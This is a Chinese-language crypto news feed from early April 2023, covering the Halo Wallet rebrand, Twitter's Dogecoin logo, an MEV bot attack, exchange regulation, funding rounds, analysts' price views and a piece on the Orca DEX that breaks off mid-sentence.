    KuCoin Wallet 更名为 Halo Wallet 并完成首轮融资 KuCoin Wallet 发布公告称已更名为 Halo Wallet，并已正式从 KuCoin Group 中分离，今后将独立运营。同时，Halo Wallet 还宣布已获得 KuCoin Ventures、IDG、HashKey Capital 等参投的首轮融资。Halo Wallet 表示，此次品牌重塑标志着其从 Web3 钱包扩展到更广泛的 SocialFi 生态系统。 内容来源 观点： Jeff Haul（Halo Wallet 负责人）：去中心化钱包是 Web3 最重要的用户入口。更名后的 Halo Wallet 提供丰富的社交功能，帮助用户全面塑造社交身份，使用户能够从社交网络中发现优质信息和机会，让用户享受 Web3 带来的好处。【原文为英文】 内容来源  ( 6 min )
    Twitter 将网页端 Logo 改为狗狗币 Logo
    Twitter 将网页端 Logo 改为狗狗币 Logo Twitter 网页端左上角 Logo 图标已更换为狗狗币 Logo，推特网页载入界面也变为狗狗币 Logo。此外，推特 CEO Elon Musk 发布狗狗币表情包，称推特原 Logo 为「旧的图片」。推特此举造成狗狗币价格大幅上涨，24 小时最高涨幅超 28%。 内容来源  ( 2 min )

  • Open

    Cosmos LSM：跨链 DeFi 的催化剂，流动性质押的模块化解决方案
    Cosmos LSM：跨链 DeFi 的催化剂，流动性质押的模块化解决方案 – 深潮TechFlow 本文将探讨 Cosmos Liquid Staking Module（LSM）及其交互的影响，以及模块化生态系统发展的预期。 Read the full entry  ( 4 min )
    Cosmos LSM：跨链 DeFi 的催化剂，流动性质押的模块化解决方案
    Cosmos LSM：跨链 DeFi 的催化剂，流动性质押的模块化解决方案 – 深潮TechFlow 本文将探讨 Cosmos Liquid Staking Module（LSM）及其交互的影响，以及模块化生态系统发展的预期。 Read the full entry  ( 4 min )
    深入去中心化媒体：区块链技术与第四产业的过去、现在和未来
    深入去中心化媒体：区块链技术与第四产业的过去、现在和未来 – 深潮TechFlow 比特币最初的主要功能是作为一种金融工具，但其与媒体行业的联系从一开始就显而易见。 Read the full entry  ( 5 min )
    深入去中心化媒体：区块链技术与第四产业的过去、现在和未来
    深入去中心化媒体：区块链技术与第四产业的过去、现在和未来 – 深潮TechFlow 比特币最初的主要功能是作为一种金融工具，但其与媒体行业的联系从一开始就显而易见。 Read the full entry  ( 5 min )

  • Open

    马斯克发布一条附带“SeizeJPGs” NFT图片的推文
    PANews 4月4日消息，在将推特LOGO更改为DOGE狗狗头像之后，马斯克（Elon Musk）又在推特上发布了一张来自Punk 6259推出的Meme Card系列中的“SeizeJPGs” NFT。马斯克的相关举动也推高了DOGE和SeizeJPGs价格，在推特更改LOGO后不久，狗狗币DOGE的价格飙升了近30%，而在这条“SeizeJPGs” 推文发布后的几分钟内，该作品在OpenSea上交易价格就从三天前的0.5 ETH飙升到超过2 ETH，本文撰写时达到2.1 ETH。  ( 1 min )
    Coinbase研报：美国银行系统动荡刺激比特币表现优异
    PANews 4月4日消息，据CoinDesk报道，加密交易所Coinbase 在一份最新研究报告中表示，面对最近美国银行体系的动荡，加密货币市场表现出了弹性，比特币(BTC)的表现尤其突出。Coinbase指出，自2月中旬以来，比特币的表现优于其他资产，比特币在加密货币总市值所占份额从3月份的43.9%上升至47.7%。Coinbase表示，比特币的这种优异表现在本月初加速，当时正值美国银行体系动荡开始。报告中称，“部分原因是银行系统的压力增强了比特币的价值存储属性”，而且由于比特币主要存在于传统金融体系之外，“它提供了对当前状况的对冲”。分析师David Duong和Brian Cubellis补充表示，比特币还受益于投资者对其他加密货币监管状况的担忧。报告中数据显示，比特币与标普500指数的相关性从去年5月70%的峰值降至今年3月底的25%。  ( 1 min )
    a16z crypto任命前谷歌高管为运营合伙人
    PANews 4月4日消息，据The Block报道，前谷歌高管Jason Rosenthal已被任命为a16z crypto运营合伙人，领导其投资组合业务。Rosenthal此前负责谷歌面向消费者的订阅服务。据悉，Rosenthal与a16z有着长期的联系，a16z创始人Ben Horowitz曾对他进行过培训。Rosenthal在上世纪90年代曾在a16z创始人Marc Andreessen创办的网景通信公司担任项目经理，随后他被Horowitz和Andreessen聘为Loudcloud的首名员工。  ( 1 min )
    标普全球正在招聘DeFi总监
    PANews 4月4日消息，据The Block报道，根据一份最新的招聘启事，标普全球（S&P Global）正在寻找一名DeFi总监，帮助DeFi团队建立和实施战略。该职位将向标普首席DeFi官Chuck Mounts汇报。潜在候选人除了需要了解标普全球的业务和产品线外，还应该“在加密金融和DeFi领域拥有丰富经验”。该职位的薪酬范围在107100美元至212975美元之间。据悉标普全球的DeFi团队覆盖区块链、Web3和元宇宙以及去中心化金融。  ( 1 min )
    币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言
    PANews 4月4日消息，据The Block报道，针对推特上有关“国际刑警组织向赵长鹏发出红色通缉令”的传言，币安发言人在电子邮件声明中表示，“这个谣言不是真的”。赵长鹏也在推特作出回应，称网上流传的通缉令是PS过的照片，并建议用户屏蔽FUD来源。  ( 1 min )
    数据：3月份比特币矿工收入增加20%
    PANews 4月4日消息，The Block数据显示，3月份比特币矿工共收入7.554亿美元，较2月份（6.135亿美元）增加约20%。其中大部分是区块奖励，交易费用收入为2347万美元。由于加密市场疲软，矿工收入在去年11月和12月降至约4.7亿美元，但最近几个月呈上升趋势。  ( 1 min )
    推特网页Logo变更为狗狗币表情，狗狗币日内上涨超过20%
    PANews 4月4日消息，推特网页Logo从蓝鸟变更为狗狗币表情头像。随后马斯克推特发布含有狗狗币表情的照片。狗狗币短线拉升，目前报0.09452美元，24小时上涨超过20%。  ( 1 min )
    WonderFi、Coinsquare和CoinSmart等三家加密交易所公布合并计划
    PANews 4月4日消息，据CoinDesk报道，加拿大加密交易所WonderFi、Coinsquare和CoinSmart公布了合并计划，将创建全球最大的加密交易平台之一。根据周一发布的公告，这三家公司共有165万名用户，托管资产超过6亿美元。消息公布后，WonderFi股价大幅上涨，收盘涨幅25%。加拿大知名投资人Kevin O'Leary是WonderFi的战略投资者。据此前消息，今年1月，WonderFi和Coinsquare正在就合并进行深入谈判。去年10月，Coinsquare成为了加拿大首个获得IIROC注册的加密交易所。  ( 1 min )
    攻击MEV机器人的恶意验证者已被Slash惩罚并踢出验证者队列
    PANews 4月3日消息，Offchain Labs开发者@terencechain发推称，链上数据显示，今日攻击MEV机器人的恶意验证者已经被Slash惩罚并踢出验证者队列。 今日早些时候，MEV机器人遭攻击损失约2500万美元。  ( 1 min )
    日本金融厅：币安在未经适当注册的情况下开展业务
    PANews 4月3日消息，据Cointelgraph报道，日本金融厅 (FSA) 表示，加密货币交易所币安（Binance Holdings Limited，代表者Changpeng Zhao）在未经适当注册的情况下在该国开展业务，违反了日本的资金结算规定。 此前报道，日本金融厅对Bybit、MEXC、Bitget和Bitforex四家加密交易所发出警告。  ( 1 min )
    DFINITY基金会正式在IC(Internet Computer)网络上发行ckBTC(Chain-Key Bitcoin)
    PANews 4月3日消息，DFINITY基金会周一宣布已在IC(Internet Computer)网络上发行ckBTC(Chain-Key Bitcoin)，ckBTC 是 ICP 上的比特币锚定币，与 BTC 1:1 对应。通过智能合约进行发行和赎回，过程是完全去中心化的。 相关阅读：ckBTC 正式上线：快人一步搞懂 IC 与比特币网络的集成秘籍！  ( 1 min )
    PA日报 | MEV机器人遭攻击损失约2500万美元；Arbitrum的AIP-1提案引发争议
    今日要闻提示： 1.外媒：日本金融厅对Bybit、MEXC等4家加密交易所发出警告 2.韩国检方已搜查并扣押Terra高管和员工的总计超2亿美元房产 3.B站推出高能链App，用以管理用户数字资产 4.MEV机器人遭攻击损失约2500万美元，系bundle交易过程中资金被替换 5.Re7 Capital和Republic Crypto合作推出1亿美元的加密基金RxR Opportunities Fund 6.数据：Uniswap的现货市场交易量突破700亿美元，超Coinbase 7.报告：DeFi一季度总锁仓量达833亿美元，环比增长37.44% 8.数据：3月加密市场融资总额达7.69亿美元，环比下降近19% 监管消息 外媒：日本金融厅对Bybit、MEXC等4家加密交易所发出警告 据CoinPost报道，3月31日，日本金融厅根据事务准则，就未在日本注册的情况下提供加密货币交易一事对4家海外加密交易所发出警告，这4家交易所分别是Bybit、MEXC、Bitget和Bitforex。Bitforex总部位于塞舌尔共和国，Bybit、MEXC Global和Bitget总部位于新加坡。 NFT ParaSpace推出激励计划，积分未来可兑换为该项目代币 据官方推特，NFT借贷协议ParaSpace宣布推出激励计划，该计划中用户的行为和活动将获得积分奖励，积分将在 ParaSpace发布代币时通过空投兑换为ParaSpace代币。在第二季度末（2023年6月30日）之前，ParaSpace会将用户赚取的奖励积分提高至 300%。 据官方文档信息显示，赚取积分的有效行为包括借贷、参与APE质押以及赊购。ParaSpace计划在完成核心产品和功能开发后加快启动治理令牌的过程。 项目动态 Arbitrum管理员：26.94亿枚ARB的部分转账系使用CoinBase托管账户，以启用托管解锁服务 针对此前Offchain Labs团队与Future团队及顾问的26.94亿枚ARB转入140个EOA地址，Arbitrum DAO社区管理员eli表示部分代币系转移至CoinBase的托管账户，锁仓期为4年，旨在采用CoinBase的托管解锁服务。 此前今日早些时候消息，Lookonchain表示，此前分配的约27亿枚ARB本应有4年锁仓期，部分ARB已被转至交易所。此前，Arbitrum官方澄清称，没有出售5000万枚ARB代币，已用于发放贷款及支付运营费用。Arbitrum还承诺本周重新修改拆分AIP-1提案，AIP-1当前反对票占优。 韩国检方已搜查并扣押Terra高管和员工的总计超2亿美元房产 据KBS报道，韩国首尔南部地方检察厅金融证券犯罪联合调查组为收回Terraform Labs联合创始人Daniel Shin等8人的不正当利益，搜索并保全了约2700亿韩元（约合2.05亿美元）的财产，这些资产分别为价值1541亿韩元、791亿韩元以及409亿韩元的三个房产。征收保全是防止犯罪嫌疑人在审判期间对涉嫌犯罪所得的财物任意处分的措施。 此外，检方还冻结了被列为此案嫌疑人的早期投资者和员工的房产、车辆和股票资产。 MEV机器人遭攻击损失达2000万美元，系bundle交易过程中资金被替换 推特用户@GaoFlynn发文称：“有几个MEV套利大户遭受重创，整个机制链路上有一环出现作恶者，从builder到relayer到validator都有可能，这可能是撼动整个MEV生态的第一个重大转折点。简单解释为黑客拿到了三明治套利的大户bot的bundle交易，bundle里有3个交易为1.大量买入，2.被夹用户的交易，3.大量卖出。黑客拿到了这个bundle，拆解了bundle，把2替换了成自己的交易，用便宜代币换走了bot的资金，之后第3步交易失败。” 此外，根据@punk3155的推文，部分MEV机器人遭遇了上述攻击，总损失已达2000万美元。 B站推出高能链App，用以管理用户数字资产 据IT之家报道，B站于近期上线了一款名为“高能链”的App。官方表示，高能链App是一款基于高能链实现的链工具产品，具有链地址管理、链上资产查看/搜索等功能，用户可一站式管理自己拥有的链上资产，同时也是通往高能链生态的入口。 经下载体验，这款App支持查看bilibili数字藏品、链上地址搜寻并查看地址链资产信息。此外，B站官方表示这款产品目前可使用的场景为哔哩哔哩、DoDo以及高能链。 此前2021年12月消息，B站测试“高能链”，启动“元宇宙”业务。 数字资产平台Bakkt完成对加密交易基础设施公司Apex Crypto的收购 据Fortune报道，数字资产平台 Bakkt Holdings (BKKT) 周一宣布，它已获得监管部门批准收购加密交易基础设施提供商 Apex Crypto， Bakkt 共支付 5500 万美元现金和 1 亿美元股票。 PancakeSwap在BNB Chain和以太坊上发布其V3版本 据CoinDesk报道，去中心化交易所(DEX) PancakeSwap在以太坊和 BNB 链上推出了其 V3 版本。升级后的平台将提供最便宜的费用，并增加流动性提供者 (LP) 的回报。V3 将引入四种不同的交易费等级：0.01%、0.05%、0.25% 和 1%。PancakeSwap V3 还引入了提高平台资本效率的功能。未来，PancakeSwap V3 将推出两项新功能：V3“VIP”交易奖励计划和头寸管理功能。这两项功能目前都在开发中，预计很快就会推出。 Re7 Capital和Republic Crypto合作推出1亿美元的加密基金RxR Opportunities Fund，重点关注中、小市值加密代币 据The Block报道，Re7 Capital 和 Republic Crypto 合作推出 1 亿美元的 RxR 机会基金（Opportunities Fund），用于投资流动性代币，该基金重点关注中、小市值的加密货币。该基金有一年的流动性锁定期，然后每季度解锁一次。并专注于建立一个希望持有一到三年的头寸。 融资消息 加密支付服务商Alchemy Pay从DWF Labs获得1000万美元投资 据CoinDesk报道，加密支付服务商Alchemy Pay以 4亿美元的估值获得了做市商DWF Labs的1000万美元投资，以扩大其在韩国的业务。 该公司为加密货币公司提供了一种访问法定支付系统的方式，新资金旨在并帮助韩国当地公司实现更大的国际化。为此，它之前曾与Visa、Mastercard、Google Pay和Apple Pay等公司合作。 重要数据 数据：Uniswap的现货市场交易量突破700亿美元，超Coinbase 据The Block Research数据，3 月份 Uniswap 的现货市场交易量达到 716 亿美元——比 Coinbase 高出 45%。Coinbase 上个月（3月）的交易量为 494 亿美元，高于 2 月份的 400 亿美元。Coinbase 的交易量连续第二个月低于去中心化交易所 Uniswap。 数据：3月份NFT销售额约为8.82亿美元，环比下降约31% 据CryptoSlam数据，3月份NFT销售额环比下降31.42%，从2月份的10.3亿美元销售额下降至8.8289亿美元。在这些销售额中，有5.3789亿美元是在以太坊区块链上结算的，该区块链占据了3月份销售额的60%以上。基于Solana的NFT销售额占3月份销售额的10.57%，录得9336万美元，其次是Polygon（3616万美元）、Immutable X（2882万美元）和Cardano（1008万美元）。 3月份最畅销的NFT系列是Bored Ape Yacht Club (BAYC)，其销售额为3581万美元，尽管这一数字比上个月下降了48.19%。Cryptopunks是销售额第二大的NFT系列，销售额为3011万美元，比2月份增长了87.95%。 报告：DeFi一季度总锁仓量达833亿美元，环比增长37.44% 根据DappRadar报告，2023年第一季DeFi总锁仓量达到833亿美元，较上一季度增长37.44%，Arbitrum、Fantom和Optimism等二层解决方案贡献较大。其中，Arbitrum锁仓量达到32亿美元，增长118.40%；Optimism锁仓量触及10亿美元，较上一季度上涨85%。 在区块链方面，一季度以太坊链上DeFi锁仓量为558亿美元排名第一，占比66.95%，BNB Chain其次，同期链上DeFi锁仓量为72亿美元；波场位列第三，链上DeFi锁仓量为52亿美元。 数据：3月加密市场融资总额达7.69亿美元，环比下降近19% 据加密数据平台RootData统计，2023年3月加密市场共计披露84次投融资事件，较2月份的122次下降31.14%，3月融资总金额约7.69亿美元，较2月份的9.46亿下降18.71%；其中，基础设施、DeFi、游戏是融资金额排名前三的赛道，分别为3.63亿美元、1.17亿美元、 1.01亿美元。 此外，融资金额排名前三的项目分别是加密货币硬件钱包Ledger（1.08亿美元）、以太坊再质押协议EigenLayer （5000万美元）、基于人工智能和机器学习的区块链平台Fetch.ai（4000万美元）、独立游戏开发商CCP Games（4000万美元）、去中心化的互联网替代方案 tomi（4000万美元）。  ( 2 min )
    数据：Uniswap的现货市场交易量突破700亿美元，超Coinbase
    PANews 4月3日消息，据The Block Research数据，3 月份 Uniswap 的现货市场交易量达到 716 亿美元——比 Coinbase 高出 45%。Coinbase 上个月（3月）的交易量为 494 亿美元，高于 2 月份的 400 亿美元。Coinbase 的交易量连续第二个月低于去中心化交易所 Uniswap。  ( 1 min )
    数字资产平台Bakkt完成对加密交易基础设施公司Apex Crypto的收购
    PANews 4月3日消息，据Fortune报道，数字资产平台 Bakkt Holdings (BKKT) 周一宣布，它已获得监管部门批准收购加密交易基础设施提供商 Apex Crypto， Bakkt 共支付 5500 万美元现金和 1 亿美元股票。 去年11月报道，数字资产平台Bakkt将收购加密交易基础设施公司Apex Crypto。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.03）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    PancakeSwap在BNB Chain和以太坊上发布其V3版本
    PANews 4月3日消息，据CoinDesk报道，去中心化交易所(DEX) PancakeSwap在以太坊和 BNB 链上推出了其 V3 版本。升级后的平台将提供最便宜的费用，并增加流动性提供者 (LP) 的回报。V3 将引入四种不同的交易费等级：0.01%、0.05%、0.25% 和 1%。PancakeSwap V3 还引入了提高平台资本效率的功能。未来，PancakeSwap V3 将推出两项新功能：V3“VIP”交易奖励计划和头寸管理功能。这两项功能目前都在开发中，预计很快就会推出。  ( 1 min )
    比特币接下去怎么走？看看6个技术分析师的观点
    原文：《市场观点：减半叙事再起，分析师一致看好比特币后市》 各类知名交易员或者加密研究机构关于当前二级市场的观点，仅作为信息分享，不构成任何投资建议。 *本文为深潮 TechFlow 精选各类知名交易员或者加密研究机构关于当前二级市场的观点，仅作为信息分享，不构成任何投资建议。 拥有超过 28 万粉丝的加密货币分析师 Loma 表示，他相信比特币最终会突破 28,800 美元左右的阻力位。 然而，要注意的是，突破可能需要时间，而 BTC 可能会考验比特币多头的耐心。 “理想情况下，如果这种盘整继续向上，我们将不再有机会在 26,500 美元至 25,500 美元左右的水平进行现货买入。 最有可能的情况是在走高之前夹在每日高点/每日低点之间。 • 如果没有建仓，通过区间交易建仓。 • 如果您已经加入，这应该是对耐心的考验，而不是其他任何事情。” Loma 的图表显示，他似乎预测比特币将在 4 月结束前突破，导致 BTC 强劲反弹至他的目标 38,000 美元，撰写本文时，BTC 的交易价格为 28,487 美元。 至于莱特币，他认为 LTC 正准备反弹至 100 美元的关键心理阻力位。根据 Loma 的说法，莱特币在 100 美元的价格水平上的反应将决定 LTC 是否会反弹至他的目标 140 美元。 “很想知道在 100 美元附近的心理 + 技术阻力位的反应。在我看来，任何高于此的力量都会迅速跌至 130-140 美元。Binance-CFTC [商品期货交易委员会] 低点是定义风险的良好标准。”撰写本文时，LTC 价值 87.54 美元。 一个著名的加密货币分析平台表示，在涉及加密货币之王的大量鲸鱼交易蜂拥而至之际，一项指标可能是比特币（BTC）下一次大涨的信号。 原文链接 加密货币数据公司 Santiment 称，交易者应该密切关注 Tether（USDT）、USD Coin（USD Coin）、Binance USD（BUSD）、Pax Dollar（USPD）和 Dai（DAI）等稳定币的市值。 Santiment 表示，前五大稳定币的购买力总和为 1263.1 亿美元，是 2021 年 3 月价值的两倍多，比特币的持续上升可能取决于按市值计算的前五大稳定币的增长。 "随着一个伟大的第一季度结束，复苏的加密货币市场，USDT、USDC、BUSD、DAI 和 USDP 的购买力之和为 1263 亿美元。本周的跌幅已经渐渐缩小。上涨将预示着比特币上涨的概率大大增加"。 但是，Santiment 也对比特币持有者发出了一些警示，该分析公司表示，2023 年最大的五笔比特币交易都发生在 3 月份，这表明大型 BTC 持有者可能开始获利。 "根据 3 月份发生的非常大的交易，以及 10-10,000 BTC 地址层继续下滑（按百分比）和逐渐减少（按地址总数），如果你希望看到比特币激增到 35,000 美元甚至更多，看起来确实有一些警告标志需要警惕...... 原文链接 有着 15 万粉丝的著名经济学家和加密分析师 Alex Krüger 表示，比特币 ( BTC ) 作为一种资产现在在投资者的投资组合中扮演着与过去不同的角色，BTC 不会像十年前那样让任何人变得富有，但现在它正在成为一种保存财富和储存价值的有效方式。 “人们不应该再通过购买比特币来致富。那艘船已经航行了。比特币现在用于财富保值、有吸引力的风险调整回报、交易和对冲法定系统。” 然而，该交易员还表示，比特币从低点上涨 10 倍的可能性仍然存在，这意味着在下一个牛市高峰期的顶部，价格在 150,000 美元附近。 Krüger 最近列出了 BTC 当前市场结构出现看涨逆转的八个原因： -长达数月的盘整 -势头指标转向 -底部有最大的历史成交量 -在非常高的成交量下出现更高的低点 -在更高的成交量上出现吞噬性蜡烛 -从200 DMA上反弹 -区间顶部与200WMA相吻合 -上方的空袋成交量。 在撰写本文时，比特币的交易价格为 28,307 美元。 有着 10 万粉丝的知名交易员 Justin Bennet 表示，以太坊 ( ETH ) 可能正在准备反弹，以清算那些看跌的交易员。 他表示，标准普尔 500 指数 (SPX) 周五的反弹可能暗示加密市场的短期表现。加密货币往往会追随股市的脚步，但两种资产类别之间似乎存在滞后。Bennett 补充说，如果加密货币从股票中获得线索，他认为以太坊会在 1,840 美元处遇到阻力。 Bennett 表示，以太坊的突破可能引发空头轧平，在 ETH 的 2,000 美元价格水平上方存在“大量”空头清算。当大量做空资产的交易者决定减少损失以应对意外的价格上涨时，就会发生轧空，挤压然后触发额外的反弹。 “这可能很能说明问题，因为加密货币喜欢瞄准这些领域，而 2,030 美元是 2022 年 8 月的高点。更多的多头清算低于当前水平，但距离很重要，因此高达 2,000 美元的空头清算可能会在短期内影响 ETH。” 然而，Bennett 表示，加密货币和以太坊的时间正在流逝。根据交易员的说法，以太坊空头挤压肯定会在未来几天发生。否则，他说反弹可能根本不会实现。 “但我希望看到加密货币尽早‘赶上’股市，如果这要实现的话。如果我们在接下来的几天内没有看到 ETH 平仓这些空头，那么这种情况就不太可能发生。” 在撰写本文时，以太坊的交易价格为 1,818 美元。 原文链接 有着 19 万粉丝的知名交易员 Altcoin Sherpa 表示，比特币可能会回调，25,000 美元的水平可能无法保持，但是当 BTC 跌破 24,000 美元时，比特币多头最好等待逢低买入。在撰写本文时，比特币本周横盘交易价格为 28,571 美元。 此外，Altcoin Sherpa 重点关注两个山寨币，AVAX 和 FTM。 Altcoin Sherpa 表示 AVAX 可能准备好突破 22 美元的阻力并进入一个新的交易区间，最高价为 30 美元。 "AVAX：这个的压制看起来很强，我认为它很快就会有另一个上升空间。200 天 EMA 最初作为阻力（正常情况下），但我认为这很快就会有力地突破 22 美元。" 在撰写本文时，AVAX 价值 17.22 美元。 Altcoin Sherpa 还关注 Fantom ( FTM )，该币目前自年初以来上涨了 135%。 分析师称，FTM 可能正在为新一轮反弹做准备。 “FTM：整体看起来还是很不错的。我认为它正在形成某种低点，并将再次上涨。” 图表显示，FTM 的下一个阻力位似乎在 0.60 美元，在撰写本文时，FTM 的交易价格为 0.43 美元。 原文链接 有着 34 万粉丝的知名交易员 Rekt 标识，BTC 正在进入 4 月份的关键宏观下跌阻力上方，这条趋势线自 2022 年 11 月创下历史新高以来，一直让比特币保持看跌。 "明天，BTC 的月度蜡烛将收在宏观下降趋势之上，以确认新的牛市，BTC 正处于创造历史的关键时刻。" Rekt 还表示，BTC 的爆发时间正好在比特币减半之前的 396 天，而比特币减半定于明年 4 月进行。他补充说，在 2019 年，比特币也正好在 2020 年减半之前爆发了 396 天。 "BTC 往往会在即将到来的减半前一年左右打破其宏观下行趋势，这一次也不例外" 他表示，另一个有利于比特币的因素是，一个季度的看涨吞噬蜡烛刚刚为 BTC 收盘。看涨吞没蜡烛是指绿色蜡烛在开盘价和收盘价上都与之前的红色蜡烛完全重叠。 "BTC 正处于确认其自 2020 年初以来的第一个季度看涨吞噬蜡烛的边缘。从历史上看，每季度的看涨吞没蜡烛都是在多个季度的上涨之前。" 在撰写本文时，比特币的交易价格为 28,409 美元。 原文链接  ( 3 min )
    Re7 Capital和Republic Crypto合作推出1亿美元的加密基金RxR Opportunities Fund，重点关注中、小市值加密代币
    PANews 4月3日消息，据The Block报道，Re7 Capital 和 Republic Crypto 合作推出 1 亿美元的 RxR 机会基金（Opportunities Fund），用于投资流动性代币，该基金重点关注中、小市值的加密货币。该基金有一年的流动性锁定期，然后每季度解锁一次。并专注于建立一个希望持有一到三年的头寸。  ( 1 min )
    Nakamigos走红背后：翻版加密朋克，与mfers创始人关系匪浅
    在公开铸造不久后，NFT项目Nakamigos近期交易量超过了Bored Ape Yacht Club、Azuki、CLONE X、Moonbirds等蓝筹项目，甚至一度冲上榜首。同为PFP NFT（头像类）项目，Nakamigos凭何能在竞争激烈的垂直市场中脱颖而出？ Nakamigos的名称源自比特币创始人Satoshi Nakamoto，Migos在西班牙语中是朋友的意思，Nakamigos意为“中本聪的朋友们”。而Nakamigos诞生时间也是比特币白皮书发布14周年，即2022年10月31日。 根据官方介绍，Nakamigos是由24×24像素组成的总量为2万个的PFP项目，主要分为人类（6种类型）和非人类类型，后者包括青蛙、鳄鱼、机器人、幽灵和鳄鱼等稀有种类。其中，1.7万个被用于铸造，团队预留了500个。知名加密艺术家Beeple也于4月3日发布Nakamigos相关作品支持。 来源：Beeple Nakamigos的风格与NFT蓝筹项目CryptoPunks类似，且Nakamigos持有者也被授予了商业权利，与Yuga Labs在2022年收购CryptoPunks后提供的商业许可一样。 今年NFT行业年度盛会NFT.NYC期间，Nakamigos面向End of Sartoshi持有者免费铸造和公开铸造，其中公开铸造采取荷兰式拍卖，价格从1 ETH至0.01 ETH，最终价格为0.01 ETH。根据NFTSCAN最新数据显示，Nakamigos目前的地板价已达0.63 ETH，持有地址数超5700个，总交易量超1.3万枚ETH。 由于创建团队HiFo Lab选择匿名，仅声称“拥有多年NFT项目经验”，该项目背后团队曾被怀疑CryptoPunks开发公司lavar labs，但随后被官方否认，“Not Larva,Not Yuga,Nakamigos”。不过，HiFo Lab却与mfers创始人sartoshi有着密切关系，Sartoshi在2022年6月退圈六个月重返NFT领域后发推文宣布，End of Sartoshi持有者可免费获得Nakamigos的铸造权，但官方尚未透露Sartoshi在该项目中的确切角色。另外，Nakamigos的合约和铸币的开发团队WestCoastNFT还曾参与过Doodles、mfers等知名NFT项目的开发。值得一提的是，HiFo Lab还透露，Nakamigos的艺术家拥有多年艺术经验的加密OG艺术家，虽然他们是匿名的，但可能会选择在某个时候透露他们的身份。 此外，HiFo Lab为向24位知名加密艺术家致敬，还推出了新系列Honorary Nakamigos NFT并进行了赠送，包括Layer2项目Manifold联合创始人Richerd Chan、NFT项目Art Blocks首席执行官Erick Calderon、美国饶舌巨星Snoop Dogg（Cozomo de' Medici）、NFT收藏家GMoney、加密艺术家XCOPY、美国知名DJ Steve Aoki和NFT收藏家Farokh.eth等。 总的来看，Nakamigos与比特币之间的联系，整体画风非常符合老OG项目CryptoPunks持有者的审美，且团队与Mfers的关系匪浅使其更具想象空间。  ( 1 min )
    视频｜上海升级临近，需要注意些什么？
    时隔半年，以太坊即将迎来又一次重要升级。上海升级临近，ETH潜在抛压多大？LSD赛道影响几何？还有哪些需要注意的？ PANews邀请嘉宾一起解读！ 以下为本期视频的时间线目录，需要的朋友可以直接跳转： 00:00 – 03:25 嘉宾自我介绍 03:25 – 06:20 上海升级除了以太坊质押提款提案外，还有哪些升级提案？ 06:20 – 22:03升级后用户提款流程为何？抛压如何？ 22:03 – 41:44  上海升级对整个质押赛道会有什么影响？ 41:44 – 60:00 作为普通散户该如何把握这其中的风险与机遇？ 60:00 – 70:34 对整个以太坊生态或DEFI生态带什么样的影响？ 70:34 – 87:12 问答环节  ( 1 min )
    以民为本，产品为王，龙头DEX Orca能否带Solana重回加密舞台？
    撰文：0xShinChan Solana自FTX事件后热度明显减退，但是Solana的dApp不少在产品设计和用户体验都达到了 「以民为本」的境界。 今天新酱为大家介绍这个历尽风雨的龙头DEX Orca如何在 Solana链上担当Uni V3般的王者地位称霸，全赖「前无古人、后无来者」的极致产品设计。 让我们开始吧！ 本文将涵盖： Orca打着「针对人而非程序而设计的去中心化交易所」为旗号，在 Solana DEX 的总锁仓排名居于首位。 笔者觉得Orca易于使用、以民为本的产品设计和用户体验实在是公垂竹帛。 在我们开始说明产品体验以前，需要先了解 Orca 做的是什么？集中流动性又是什么呢？ Orca是Solana上最大的去中心化交易所(Decentralized Exchange，简称DEX)。 里面有3个主要角色： Orca通过集中LP的流动性，建立交易渠道，让用户通过提供资产，获得手续费收入作为收益。 那么我们要怎么才可以成为LP呢？ 这边我们需要认识 Orca 的集中流动性。 当一名交易者在常规的流动池中（这里我们可以理解为Uniswap V2）进行交易时，他们可能会遇到高滑点的交易成本。 这是因为流动性提供者只提供了相对较少的流动性，以满足各种价格的交易。 例如，如果一个交易员想在ETH/USDT交易对中购买1,000美元的ETH，他们可能会发现自己需要花费更多的美元才能购买到他们需要的ETH数量。 因为流动池中可用的ETH量很少，导致价格上涨。 然而，在Orca 的 Whirlpool 中，流动性提供者(LP)可以选择将他们的流动性集中在特定的价格区间内，从而提供更深层次的流动性。 例如，如果一个LP选择在ETH/USDT交易对中集中他们的流动性在2,000至2,100 USDT的价格区间内，当交易者进行该价格区间内的交易，他们将获得更好的交易价格，并且流动性提供者将获得更高的费用和奖励。 因此，通过在特定价格范围内提供更深层次的流动性，Orca 流动池 （称为 Whirlpool ）上的 LP 可以达到以下目标： 代币交互和提供流动性 要是想在Orca上进行交互并且提供流动性，实际怎么操作呢？ 首先，Orca的dApp设计其实非常丝滑、用户友善的。 怎么说？页面字体色彩对比鲜明，字体够大，按钮也很清晰。 其实新手小白要使用dApp，这种风格是最容易上手的，而且交互页面还设置搜寻引擎，输入币种就可以看到交互路径。 集中流动性虽是有好处，但是整个价格的交易区间、计算体系的效率化、如何在固定的范围赚到最多的手续费，这些都是非常讲究和复杂的。 我们来看看 Trader Joe 的LP页面。 价格范围、流动性形态、费用等级这几个维度的设置都不是一个新手能够轻易掌控的概念。 对比之下，Orca 的设置相对是比较轻松的。当然专业的流动性提供者也可以进行自己的LP操作设置。 简单 4 个步骤： (i) 从选择系统建议的流动性范围 (ii) 输入单种流动性代币，让系统建议LP组合的数量 (iii) 确认存款操作 (iv) 生成 NFT 这一系列的操作都是很轻松、无脑的进行 教学影片和文章 希望了解详细的存款教学可以参考Orca官方影片 这边再补充一下：我们在Whirlpool 提供流动性，会获得一个NFT，以表示用户在流动池的仓位。 二级市场可以交易 NFT，但是出售NF也代表了出售流动性，赚了 NFT 交易的钱，就无法取回LP代币咯。 Messari曾经就Orca的集中流动性设计和平台操作撰写了详尽报告。这次帖文重点关注dApp的设计和流动性挖矿策略 关于Orca的LP费用水平、代币经济、治理等资讯欢迎阅读一下报告。 时至今天，Orca 总锁仓价值(TVL)占了整个Solana链约17％，是排名首位的 DEX。 项目从2021年的公平发售到现在累计超过 150 万钱包交易的记录。 个人认为很大部分除了市场推广还有商务合作的成就以外，团队在产品设计、优化的努力是功不可没的。 最近 Orca 的联合创办人@oritheorca 发布了推文，暗示 Orca 的用户版面将会再度进行更新，为交易者和流动性提供者带来更多的交易功能和工具。 本人还是会继续关注 Orca 的页面设计和更新。 另外基于集中流动性的收益策略类型其实可以很多元化。 但是基于 Solana 目前的发展潜力受限，目前没有见到很多基于 Orca 集中流动性的自动复合、期权交易、中性头寸等协议。 不知道 Solana 